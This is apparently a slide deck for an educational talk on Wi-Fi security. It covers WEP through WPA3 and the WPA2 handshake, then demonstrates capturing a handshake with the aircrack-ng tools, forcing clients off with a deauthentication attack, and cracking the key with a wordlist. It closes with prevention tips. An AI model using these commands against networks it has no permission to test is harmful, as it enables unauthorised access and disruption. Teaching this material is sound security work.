Wi-Fi Hacking

•••

For educational purposes...

What it is

...

How to exploit it

What is WiFi?

- Wireless networking technology that uses radio waves to provide wireless high-speed Internet access.
- A common misconception is that the term Wi-Fi is short for "wireless fidelity," however Wi-Fi is a trademarked phrase that refers to IEEE 802.11x standards.
- IEEE 802.11x standards just define how devices authenticate to the network before being allowed access

How does I authenticate?

- WEP (Wired Equivalent Privacy)
- WPA (Wi-Fi Protected Access)
- WPA2
- WPA3

WEP

- WEP used a 64-bit or 128-bit encryption key that must be manually entered on wireless access points and devices and does not change

- WEP was an early encryption protocol for wireless networks, designed to secure WLAN connections

WPA

The WPA protocol implements the Temporal Key Integrity Protocol (TKIP). Later replaced by AES.

WPA2

In 2004, WPA2 replaced WPA.

In WPA2-protected WLANs, secure communication is established through a multi-step process.

4 way handshake:

- The AP sending a random number (ANonce) to the client.
- The client responding with its random number (SNonce).
- The AP calculating the PTK from these numbers and sending an encrypted message to the client.
- The client decrypting this message with the PTK, confirming successful authentication

WPA3

In 2018, WPA3 was announced to replace WPA2

The WPA3 standard also replaces the pre-shared key (PSK) exchange with Simultaneous Authentication of Equals (SAE) exchange, a method originally introduced with IEEE 802.11s, resulting in a more secure initial key exchange in personal mode and forward secrecy.

How do I exploit this?

WPA: Handshake

WPA2 Hacking Demo

Set up wireless interface

```
sudo airmon-ng check kill
```

```
Iw dev (list wireless interfaces)
```

```
sudo airmon-ng start wlan1
```

```
iw dev again (to see change from wlan1 to wlan1mon)
```

Scan for networks + devices

```
sudo airodump-ng ‘wlan1mon’ (see all networks)
```

```
Sudo airodump-ng --bssid <AP MAC address> --channel <channel>
wlan1mon (see all devices on one network)
```

```
sudo airodump-ng --bssid <AP MAC address> --channel <channel> -w
<filename> wlan1mon
```

Crack the handshake

```
sudo aircrack-ng -w <wordlist> <file>
```

Deauth

Sudo aireplay-ng -0 0 -a <AP MAC address> -c <Target MAC address> wlan0mon

How do we prevent this?

- Upgrade to WPA3 Where Possible
- Use Strong & Complex Passwords
- Recalibrate Signal Strength
- Use MAC Address Filtering

“Disable SSID Broadcasting: Hide the SSID (wireless network name) by disabling SSID broadcasting. This will make the network less visible to casual threat actors and increase the difficulty for exploitation.”

Questions?